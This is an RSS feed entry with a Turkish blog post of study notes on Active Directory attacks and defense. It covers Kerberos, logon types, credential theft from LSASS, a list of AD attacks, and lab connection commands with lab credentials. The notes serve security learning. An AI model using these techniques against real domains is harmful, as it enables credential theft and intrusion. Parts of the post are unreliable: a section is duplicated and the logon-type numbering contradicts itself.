<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: kaan kurt</title>
    <description>The latest articles on DEV Community by kaan kurt (@kaan-kurt).</description>
    <link>https://dev.to/kaan-kurt</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4190804%2F67819c90-f833-4211-934d-8493f2dd5f2d.png</url>
      <title>DEV Community: kaan kurt</title>
      <link>https://dev.to/kaan-kurt</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kaan-kurt"/>
    <language>en</language>
    <item>
      <title>Windows Attacks &amp; DefenseWindows Attacks &amp; Defense</title>
      <dc:creator>kaan kurt</dc:creator>
      <pubDate>Sat, 17 Oct 2026 17:00:59 +0000</pubDate>
      <link>https://dev.to/kaan-kurt/windows-attacks-defensewindows-attacks-defense-130</link>
      <guid>https://dev.to/kaan-kurt/windows-attacks-defensewindows-attacks-defense-130</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu31vwjpr5kb9ofo1icb6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu31vwjpr5kb9ofo1icb6.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Yasal Kullanım ve Kapsam:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Bu dokümanda yer alan uygulamalar, yalnızca tarafıma ait test ortamlarında ve internet üzerinde erişilebilen açık kaynaklı, eğitim amaçlı lab ortamlarında gerçekleştirilmiştir. Çalışmalar, siber güvenlik alanında teknik bilgi ve deneyimin geliştirilmesi amacıyla hazırlanmış olup, herhangi bir yetkisiz sisteme yönelik faaliyet içermemektedir.&lt;/p&gt;
&lt;h3&gt;
  
  
  BÖLÜM 1: GİRİŞ VE TERMİNOLOJİ
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Active Directory (AD) Nedir?
&lt;/h4&gt;

&lt;p&gt;Active Directory, Microsoft'un 2000 yılında Windows Server 2000 ile birlikte resmi olarak yayınladığı bir &lt;strong&gt;dizin hizmetidir&lt;/strong&gt; (directory service). Düşün ki bir şirketin tüm kullanıcıları, bilgisayarları, grupları, ağ cihazları, dosya paylaşımları, politikaları ve güven ilişkileri tek bir merkezden yönetebildiğin yer.&lt;/p&gt;

&lt;p&gt;AD'nin üç temel işlevi vardır: &lt;strong&gt;Kimlik Doğrulama&lt;/strong&gt; (Authentication — "sen kimsin?"), &lt;strong&gt;Yetkilendirme&lt;/strong&gt; (Authorization — "ne yapabilirsin?") ve &lt;strong&gt;Hesap Takibi&lt;/strong&gt; (Accounting — "ne yaptın?").&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Neden bu kadar kritik?&lt;/strong&gt; AD, dünya genelinde en yaygın kullanılan Kimlik ve Erişim Yönetimi (IAM) çözümüdür. Kurumsal uygulamaların büyük çoğunluğu AD ile entegre çalışır. Eğer bir saldırgan AD'yi ele geçirirse, bu sadece tek bir sistem değil — o kurumdaki &lt;strong&gt;tüm sistemlere, uygulamalara ve verilere&lt;/strong&gt; sınırsız erişim anlamına gelir. Bu, CIA üçlüsünü (Gizlilik, Bütünlük, Erişilebilirlik) tamamen ihlal eder.&lt;/p&gt;

&lt;p&gt;Saldırganlar bu güvenlik açıklarını kullanarak &lt;strong&gt;ransomware&lt;/strong&gt; (fidye yazılımı) saldırıları düzenleyebilir — verilerinizi şifreler ve şifre çözme anahtarı karşılığında para ister. Ama mesele tek bir sistemi kaybetmek değil; AD ele geçirilince &lt;strong&gt;her şey&lt;/strong&gt; gider.&lt;/p&gt;


&lt;h4&gt;
  
  
  Temel Kavram Sözlüğü
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Domain (Etki Alanı):&lt;/strong&gt; Aynı AD veritabanını paylaşan nesneler grubu — kullanıcılar, bilgisayarlar vb. Örneğin &lt;code&gt;sirket.local&lt;/code&gt; bir domain'dir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tree (Ağaç):&lt;/strong&gt; Bir veya daha fazla domain'in gruplandırılmış hali. Örneğin &lt;code&gt;test.local&lt;/code&gt;, &lt;code&gt;staging.test.local&lt;/code&gt; ve &lt;code&gt;preprod.test.local&lt;/code&gt; aynı ağaçta yer alır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Forest (Orman):&lt;/strong&gt; Birden fazla ağacın toplandığı en üst seviye yapı. Tüm domain'leri kapsar.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OU (Organizational Unit):&lt;/strong&gt; Kullanıcıları, bilgisayarları ve diğer OU'ları içeren AD kapsayıcılarıdır. Düzenleme ve politika uygulamak için kullanılır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust (Güven İlişkisi):&lt;/strong&gt; Bir domain'deki kaynakların başka bir domain'deki kaynaklara erişim izni tanımlayan ilişkidir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Domain Controller (DC):&lt;/strong&gt; AD'nin "beyni"dir. Tüm dizini kurar ve yönetir. Kimlik doğrulama ve yetkilendirme hizmetlerini sağlar. En yüksek yetki ve önceliğe sahiptir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NTDS.DIT:&lt;/strong&gt; AD'nin en kritik dosyası. Tüm kullanıcı bilgilerini, şifre hash'lerini ve yapıyı içerir. &lt;code&gt;%SystemRoot%\NTDS&lt;/code&gt; klasöründe bulunur. Bir saldırgan bu dosyayı ele geçirirse, tüm kullanıcıların şifre hash'lerine ulaşır.&lt;/p&gt;


&lt;h4&gt;
  
  
  Kimlik Doğrulama Yöntemleri
&lt;/h4&gt;

&lt;p&gt;Windows ortamlarında üç ana kimlik doğrulama yöntemi vardır:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) Parola Hash'leri:&lt;/strong&gt; Kullanıcı adı ve parola, doğrudan metin olarak değil, hash (özet) formunda saklanır/iletilir. Hash türleri: LM (eski ve zayıf), NTLM, NetNTLMv1, NetNTLMv2.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Kerberos Biletleri:&lt;/strong&gt; Microsoft'un Kerberos protokolü uygulamasıdır. Güvenilir bir üçüncü taraf (DC) aracılığıyla çalışır. Biletler kriptografik kimlik kanıtıdır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3) LDAP üzerinden kimlik doğrulama:&lt;/strong&gt; Geleneksel kullanıcı adı/parola veya sertifika ile yapılır.&lt;/p&gt;


&lt;h4&gt;
  
  
  Kerberos Sistemi
&lt;/h4&gt;

&lt;p&gt;!! Bu konu ilerideki birçok saldırının (Kerberoasting, Golden Ticket, AS-REProasting) temelini oluşturur:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;KDC (Key Distribution Center):&lt;/strong&gt; DC üzerinde çalışan Kerberos hizmeti. Biletleri oluşturur. İki bileşeni var: AS (Authentication Server) ve TGS (Ticket Granting Server).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TGT (Ticket Granting Ticket):&lt;/strong&gt; Kullanıcının geçerli kimlik bilgileri sunduğunu kanıtlayan bilettir. "Giriş kartı" gibi — bununla diğer servislere erişim isteyebilirsin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TGS (Ticket Granting Service):&lt;/strong&gt; Geçerli TGT'ye sahip kullanıcının belirli bir servise erişmek için aldığı bilettir. "Oda anahtarı" gibi — her servis için ayrı bir TGS alınır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;KRBTGT Hesabı:&lt;/strong&gt; AD'de oluşturulan ilk hesaptır ve &lt;strong&gt;devre dışı&lt;/strong&gt; olmasına rağmen son derece kritiktir. KDC anahtarı bu hesabın parola hash'inden türetilir. Bu anahtar TGT'lerin geçerliliğini kanıtlar. Parolası rastgele üretilir ve siz bilinen bir değere ayarlamaya çalışsanız bile AD otomatik olarak rastgele bir değerle değiştirir.&lt;/p&gt;


&lt;h4&gt;
  
  
  Ayrıcalıklı Gruplar ve Riskleri
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Domain Admins&lt;/strong&gt; ve &lt;strong&gt;Administrators&lt;/strong&gt; en yüksek yetkili gruplardır. Domain Admins üyeleri varsayılan olarak domain'e katılmış tüm makinelerde yönetici olur. Forest'ın en üst domain'inde ayrıca &lt;strong&gt;Enterprise Admins&lt;/strong&gt; grubu bulunur — tüm domain'ler üzerinde yetkilidir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk örneği — Account Operators:&lt;/strong&gt; Birçok AD yöneticisi, servis table sinin kullanıcı parolalarını sıfırlayabilmesi için bu grubu atar. Ama bu grup aslında çok geniş yetkilere sahiptir. Doğru yol, özel bir grup oluşturup sadece parola sıfırlama yetkisi devretmektir. Account Operators üzerinden Domain Admins'e yükselme yolu yaygındır — özellikle Azure AD Connect'in oluşturduğu "MSOL_" hesapları üzerinden.&lt;/p&gt;


&lt;h4&gt;
  
  
  Oturum Açma Türleri
&lt;/h4&gt;

&lt;p&gt;Windows'ta birden fazla oturum açma tipi vardır. Bu çok önemlidir çünkü her tip, sistem üzerinde farklı bir &lt;strong&gt;iz&lt;/strong&gt; bırakır — yani kullanıcı adı ve parola bilgisi o sistemde kalır.&lt;/p&gt;
&lt;h3&gt;
  
  
  Windows Oturum Açma Türleri (Logon Types)
&lt;/h3&gt;

&lt;p&gt;Windows, her oturum açma girişimini bir &lt;strong&gt;Logon Type numarası&lt;/strong&gt; ile etiketler. Bu numara, hem Event Viewer'da (Event ID 4624 — başarılı oturum açma) görünür hem de hangi kimlik bilgisi materyalinin sistemde ne şekilde saklanacağını belirler.&lt;/p&gt;

&lt;p&gt;!!&lt;br&gt;
Bir saldırgan bir makineye eriştiğinde, &lt;strong&gt;LSASS&lt;/strong&gt; (Local Security Authority Subsystem Service) belleğinde önceki oturum açmalardan kalan kimlik bilgilerini arar &lt;code&gt;mimikatz&lt;/code&gt; gibi araçlar aslında bunu yapar. Ama hangi tür kimlik bilgisinin (parola metni, NTLM hash'i, Kerberos bileti) bellekte kaldığı, &lt;strong&gt;hangi logon type ile giriş yapıldığına&lt;/strong&gt; bağlıdır. Bu yüzden bir saldırgan için "bu makineye kim, nasıl bağlanmış" sorusu kritik.&lt;/p&gt;
&lt;h4&gt;
  
  
  Ana Logon Type'lar
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Type 1 — Interactive:&lt;/strong&gt; Kullanıcı, klavye ve fareyle &lt;strong&gt;fiziksel olarak&lt;/strong&gt; makinenin başında oturum açar (konsol girişi). Kimlik bilgileri LSASS belleğinde tutulur — bu yüzden bir sunucuya fiziksel/KVM erişimle giren bir yöneticinin izleri, sonradan çalınabilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type 2 — Network (İSTİSNA, iz bırakmaz):&lt;/strong&gt; SMB paylaşımına bağlanma, &lt;code&gt;net use&lt;/code&gt;, dosya paylaşım erişimi gibi durumlarda kullanılır. Genellikle &lt;strong&gt;NTLM challenge-response&lt;/strong&gt; mekanizmasıyla çalışır — yani parola veya hash'in kendisi hedef sisteme &lt;strong&gt;hiç gönderilmez&lt;/strong&gt;, sadece bir kriptografik kanıt gönderilir. Bu yüzden hedef sistemde kimlik bilgisi izi &lt;strong&gt;kalmaz&lt;/strong&gt;. Dokümanın vurguladığı kural tam olarak bu: "Type 3 hariç hepsi iz bırakır."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type 3 — Batch:&lt;/strong&gt; Zamanlanmış görevler (Scheduled Tasks) çalıştırıldığında kullanılır. Görev, kayıtlı bir kullanıcı hesabıyla çalışıyorsa, o hesabın kimlik bilgileri sistemde saklanır (görev motorunun tekrar tekrar kimlik doğrulaması yapabilmesi için).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type 4 — Service:&lt;/strong&gt; Bir Windows servisi belirli bir kullanıcı hesabıyla başlatıldığında oluşur. Servis hesabının kimlik bilgileri, servisin sürekli çalışabilmesi için sistemde saklanır — bu da &lt;strong&gt;Kerberoasting'in aslında neden bu kadar etkili olduğunu&lt;/strong&gt; açıklayan bir başka açıdır: servis hesapları zaten iz bırakmaya "programlanmış" durumdadır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type 5 — Unlock:&lt;/strong&gt; Kilitli bir ekranın açılması. Type 2'ye benzer sonuçlar doğurur.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type 6 — NetworkCleartext:&lt;/strong&gt; Type 3'e benziyor ama kimlik bilgisi &lt;strong&gt;düz metin olarak&lt;/strong&gt; ağ üzerinden gönderilir (örneğin bazı temel kimlik doğrulamalı IIS/web uygulamaları, ya da &lt;code&gt;runas /netonly&lt;/code&gt; bazı senaryolarda). Bu, Type 3'ün aksine iz bırakabilir çünkü parola metni gerçekten iletiliyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type 7 — NewCredentials:&lt;/strong&gt; &lt;code&gt;runas /netonly&lt;/code&gt; komutuyla oluşturulur. Yerel oturum kendi kimliğinle devam ederken, ağ bağlantıları için farklı bir kimlik kullanılır. Saldırganların "bir kimlik bilgisi setini doğrulamadan test etme" (pass-the-hash denemeleri gibi) amacıyla sıkça kullandığı bir tekniktir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type 8 — RemoteInteractive (RDP):&lt;/strong&gt; Uzak masaüstü bağlantısı. &lt;strong&gt;Type 2 ile aynı derecede tehlikeli&lt;/strong&gt; — çünkü RDP ile bağlanan bir yöneticinin kimlik bilgileri, tıpkı fiziksel oturum açmış gibi hedef sistemin LSASS belleğinde tutulur. Bu yüzden bu kursun lab senaryosunda gördüğümüz gibi, bir yönetici RDP ile bir sunucuya bağlandığında, o sunucu ele geçirilirse yöneticinin kimlik bilgileri de ele geçirilmiş olur.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type 9 — CachedInteractive:&lt;/strong&gt; Domain Controller'a ulaşılamadığında, önbelleğe alınmış kimlik bilgileriyle (laptop'ların DC'ye bağlı olmadan da açılabilmesini sağlayan mekanizma) oturum açma.&lt;/p&gt;
&lt;h4&gt;
  
  
  Saldırgan Perspektifinden
&lt;/h4&gt;

&lt;p&gt;Bu bilgi, gerçek dünyada şu şekilde işe yarar: Bir saldırgan bir sunucuyu ele geçirdiğinde, önceliği genellikle &lt;strong&gt;"buraya kim, ne zaman, hangi tür ile bağlanmış"&lt;/strong&gt; sorusunu cevaplamaktır. Eğer bir Domain Admin, o sunucuya &lt;strong&gt;Type 2 veya Type 10&lt;/strong&gt; ile bağlanmışsa, saldırgan büyük ihtimalle o hesabın kimlik bilgilerini (hash veya bilet olarak) LSASS belleğinden çıkarabilir — bu da tek bir düşük yetkili makineden &lt;strong&gt;tüm domain'e&lt;/strong&gt; sıçrama (lateral movement → privilege escalation) anlamına gelebilir.&lt;/p&gt;

&lt;p&gt;Bu yüzden savunma tarafında "&lt;strong&gt;Tiering&lt;/strong&gt;" (katmanlama) modeli önerilir: Domain Admin hesapları, &lt;strong&gt;sadece&lt;/strong&gt; Domain Controller'lara doğrudan bağlanmalı; asla sıradan bir kullanıcı iş istasyonuna (WS001 gibi) RDP veya interactive girişle bağlanmamalı. Çünkü tam da bu kursun lab senaryosunda olduğu gibi, düşük değerli bir makinenin ele geçirilmesi, üzerinde iz bırakmış yüksek yetkili bir hesabın çalınmasına yol açabilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kural:&lt;/strong&gt; "Network logon (Tip 3)" HARİÇ diğer tüm oturum açma türleri, bağlanılan sistemde kimlik bilgilerinin izini bırakır. Yani bir yönetici RDP ile bir sunucuya bağlanırsa, o sunucuda şifre hash'i kalır — saldırgan bunu çalabilir.&lt;/p&gt;


&lt;h4&gt;
  
  
  Önemli Ağ Portları (Ezberlenmeli!)
&lt;/h4&gt;

&lt;p&gt;Bunları ezberlemek saha çalışmalarında çok faydalıdır:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;53:&lt;/strong&gt; DNS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;88:&lt;/strong&gt; Kerberos&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;135:&lt;/strong&gt; WMI / RPC&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;137-139 ve 445:&lt;/strong&gt; SMB&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;389 ve 636:&lt;/strong&gt; LDAP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3389:&lt;/strong&gt; RDP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;5985 ve 5986:&lt;/strong&gt; PowerShell Remoting (WinRM)&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  AD'nin Kullanıcılar Tarafından Numaralandırılması
&lt;/h4&gt;

&lt;p&gt;Sıradan bir AD kullanıcısı, AD içindeki nesnelerin büyük çoğunluğunu sorgulayabilir: domain bilgisayarları, kullanıcılar, grup bilgileri, varsayılan domain politikası, parola politikası, GPO'lar, Kerberos delegasyonu, güven ilişkileri ve ACL'ler. Bu, AD'nin &lt;strong&gt;tasarımsal&lt;/strong&gt; bir özelliğidir ve kısıtlamak birçok uygulama/servisi bozabilir.&lt;/p&gt;


&lt;h4&gt;
  
  
  Real-World View
&lt;/h4&gt;

&lt;p&gt;Doküman üç temel zayıflık kategorisini vurgular:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Karmaşıklık:&lt;/strong&gt; İç içe geçmiş grup üyelikleri. Bir kullanıcı, bir grubun üyesi olabilir, o grup başka bir grubun üyesi, o da başka birinin… &lt;br&gt;
Gruplar başka grupların içine eklenebildiği için, bir kullanıcı görünüşte sıradan bir gruba üye olsa bile, o grup zincirleme şekilde başka gruplara üye olduğundan, kullanıcı fark etmeden ve kimse kasıtlı bir yetki vermeden &lt;strong&gt;dolaylı yoldan Domain Admins üyesi&lt;/strong&gt; haline gelebilir&lt;/p&gt;

&lt;p&gt;Domain Admins &lt;br&gt;
    └── üye: "IT-Yöneticileri" grubu &lt;br&gt;
        └── üye: "Helpdesk-Kıdemli" grubu &lt;br&gt;
            └── üye: "Servis-Masası-Ekibi" grubu &lt;br&gt;
                └── üye: Ahmet (sıradan bir helpdesk çalışanı)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tasarım:&lt;/strong&gt; GPO'lar SYSVOL paylaşımı üzerinden SMB protokolüyle dağıtılır. Ama SMB aynı zamanda kod çalıştırmaya da izin verir. Geçerli yetkilendirilmiş kimlik bilgilerine sahip biri, DC'ler üzerinde uzaktan komut çalıştırabilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Eski Uyumluluk (Legacy):&lt;/strong&gt; Windows, kutudan çıktığı gibi çalışmayı hedefler ama güvenli değildir. Örneğin &lt;strong&gt;NetBIOS&lt;/strong&gt; ve &lt;strong&gt;LLMNR&lt;/strong&gt; protokolleri varsayılan olarak açıktır. DNS başarısız olduğunda devreye girmesi gereken bu protokoller, DNS çalışsa bile aktiftir ve ağ üzerinde kullanıcı kimlik bilgilerini yayınlar — dinleyen herkes bu bilgileri yakalayabilir.&lt;/p&gt;
&lt;h3&gt;
  
  
  BÖLÜM 2: OVERVIEW
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Modülün Metodolojisi
&lt;/h4&gt;

&lt;p&gt;ele alınacak &lt;strong&gt;her saldırı için&lt;/strong&gt; aynı beş adımlı yaklaşımı izleyecez.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Açıklama (Describe)&lt;/strong&gt; — Saldırı nedir, nasıl çalışır?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Yürütme (Walkthrough)&lt;/strong&gt; — Saldırıyı adım adım nasıl gerçekleştiririz?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Önleme (Prevention)&lt;/strong&gt; — Bunu önlemek için hangi teknikler ve telafi edici kontroller var?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tespit (Detection)&lt;/strong&gt; — Bu saldırıyı nasıl fark ederiz?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Honeypot (Tuzak)&lt;/strong&gt; — Uygulanabilirse, saldırıyı yakalamak için tuzak/aldatma yaklaşımı nedir?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Her teknik için bu 5 soruyu sor&lt;/p&gt;
&lt;h4&gt;
  
  
  Saldırıların Listesi
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Kerberoasting&lt;/li&gt;
&lt;li&gt;AS-REProasting&lt;/li&gt;
&lt;li&gt;GPP Şifreleri (Group Policy Preferences)&lt;/li&gt;
&lt;li&gt;Yanlış yapılandırılmış GPO izinleri (veya GPO ile dağıtılan dosyalar)&lt;/li&gt;
&lt;li&gt;Ağ paylaşımlarındaki kimlik bilgileri&lt;/li&gt;
&lt;li&gt;Kullanıcı özniteliklerindeki kimlik bilgileri&lt;/li&gt;
&lt;li&gt;DCSync&lt;/li&gt;
&lt;li&gt;Kerberos Golden Ticket&lt;/li&gt;
&lt;li&gt;Kerberos Constrained Delegation saldırısı&lt;/li&gt;
&lt;li&gt;Print Spooler &amp;amp; NTLM Relaying&lt;/li&gt;
&lt;li&gt;Coercing (zorlama) saldırıları &amp;amp; Kerberos Unconstrained Delegation&lt;/li&gt;
&lt;li&gt;Object ACLs (nesne erişim kontrol listeleri)&lt;/li&gt;
&lt;li&gt;PKI Yanlış Yapılandırmaları — ESC1&lt;/li&gt;
&lt;li&gt;PKI Yanlış Yapılandırmaları — ESC8 (Coercing + Sertifikalar birleşimi)&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Not:&lt;/strong&gt; ESC8 ilerde (Skills Assessment) pratik olarak karşımıza çıkacak — bu yüzden haritada ayrı bir "ana başlık" olarak görünmüyor ama içeriğe dahil.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;
  
  
  Lab Ortamının Yapısı
&lt;/h4&gt;

&lt;p&gt;Kurs, pratik yapman için izole bir sanal ortam sağlıyor. Senaryo şu: &lt;strong&gt;İnfa&lt;/strong&gt; adında, hiçbir özel yetkisi olmayan sıradan bir AD kullanıcısının hesabı zaten ele geçirilmiş ve WS001 (Windows 10) makinesinde kod çalıştırma yetkisine sahipsin.&lt;/p&gt;

&lt;p&gt;Ortamdaki makineler:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Makine&lt;/th&gt;
&lt;th&gt;IP&lt;/th&gt;
&lt;th&gt;Rol&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DC1&lt;/td&gt;
&lt;td&gt;172.16.18.3&lt;/td&gt;
&lt;td&gt;Domain Controller&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DC2&lt;/td&gt;
&lt;td&gt;172.16.18.4&lt;/td&gt;
&lt;td&gt;Domain Controller (ikinci)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server01&lt;/td&gt;
&lt;td&gt;172.16.18.10&lt;/td&gt;
&lt;td&gt;Sunucu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PKI&lt;/td&gt;
&lt;td&gt;172.16.18.15&lt;/td&gt;
&lt;td&gt;Sertifika sunucusu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WS001&lt;/td&gt;
&lt;td&gt;DHCP / 172.16.18.25&lt;/td&gt;
&lt;td&gt;Windows 10 — saldırgan başlangıç noktası&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kali Linux&lt;/td&gt;
&lt;td&gt;DHCP / 172.16.18.20&lt;/td&gt;
&lt;td&gt;Saldırgan makinesi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h4&gt;
  
  
  Bağlantı Yöntemleri
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;WS001'e RDP ile bağlanma&lt;/strong&gt; (kullanıcı: &lt;code&gt;infa&lt;/code&gt;, şifre: &lt;code&gt;mvp123&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xfreerdp /u:krysthal&lt;span class="se"&gt;\i&lt;/span&gt;nfa /p:mvp123 /v:HEDEF_IP /dynamic-resolution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Kali'ye SSH ile bağlanma&lt;/strong&gt; (varsayılan &lt;code&gt;kali/kali&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh kali@HEDEF_IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kali'de RDP de aktif — bazı bölümlerde Kali hedef makine olduğunda RDP tercih ediliyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xfreerdp /v:HEDEF_IP /u:kali /p:kali /dynamic-resolution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Dosya taşıma (WS001 ↔ Kali arası):&lt;/strong&gt; WS001 üzerinde bir SMB paylaşımı var. Kali'den &lt;code&gt;smbclient&lt;/code&gt; ile bağlanabilirsin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient &lt;span class="se"&gt;\\&lt;/span&gt;HEDEF_IP&lt;span class="se"&gt;\S&lt;/span&gt;hare &lt;span class="nt"&gt;-U&lt;/span&gt; krysthal/administrator%mvp123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bağlandıktan sonra &lt;code&gt;put&lt;/code&gt; (yükle) veya &lt;code&gt;get&lt;/code&gt; (indir) komutlarıyla dosya transferi yapılır.### BÖLÜM 2: GENEL BAKIŞ (OVERVIEW)&lt;/p&gt;

&lt;p&gt;Bu bölüm kısa ama önemli — kursun geri kalanının nasıl işleyeceğini ve lab ortamını tanıtıyor. Bundan sonraki her saldırı bölümüne girerken bu yapıyı hatırlayacaksın.&lt;/p&gt;

&lt;h4&gt;
  
  
  Modülün Metodolojisi
&lt;/h4&gt;

&lt;p&gt;Kurs, ele alınacak &lt;strong&gt;her saldırı için&lt;/strong&gt; aynı beş adımlı yaklaşımı izliyor:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Açıklama (Describe)&lt;/strong&gt; — Saldırı nedir, nasıl çalışır?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Yürütme (Walkthrough)&lt;/strong&gt; — Saldırıyı adım adım nasıl gerçekleştiririz?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Önleme (Prevention)&lt;/strong&gt; — Bunu önlemek için hangi teknikler ve telafi edici kontroller var?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tespit (Detection)&lt;/strong&gt; — Bu saldırıyı nasıl fark ederiz?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Honeypot (Tuzak)&lt;/strong&gt; — Uygulanabilirse, saldırıyı yakalamak için tuzak/aldatma yaklaşımı nedir?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Bu, senin de not alırken kullanabileceğin çok iyi bir zihinsel şablon: her teknik için bu 5 soruyu kendine sor.&lt;/p&gt;

&lt;h4&gt;
  
  
  Kursta İşlenecek Tüm Saldırıların Listesi
&lt;/h4&gt;

&lt;p&gt;Doküman burada 14 saldırı tekniği sıralıyor (bizim harita bunları 16 bölüme yaymıştı, çünkü bazı saldırılar birleştirilmiş konu başlıkları altında):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kerberoasting&lt;/li&gt;
&lt;li&gt;AS-REProasting&lt;/li&gt;
&lt;li&gt;GPP Şifreleri (Group Policy Preferences)&lt;/li&gt;
&lt;li&gt;Yanlış yapılandırılmış GPO izinleri (veya GPO ile dağıtılan dosyalar)&lt;/li&gt;
&lt;li&gt;Ağ paylaşımlarındaki kimlik bilgileri&lt;/li&gt;
&lt;li&gt;Kullanıcı özniteliklerindeki kimlik bilgileri&lt;/li&gt;
&lt;li&gt;DCSync&lt;/li&gt;
&lt;li&gt;Kerberos Golden Ticket&lt;/li&gt;
&lt;li&gt;Kerberos Constrained Delegation saldırısı&lt;/li&gt;
&lt;li&gt;Print Spooler &amp;amp; NTLM Relaying&lt;/li&gt;
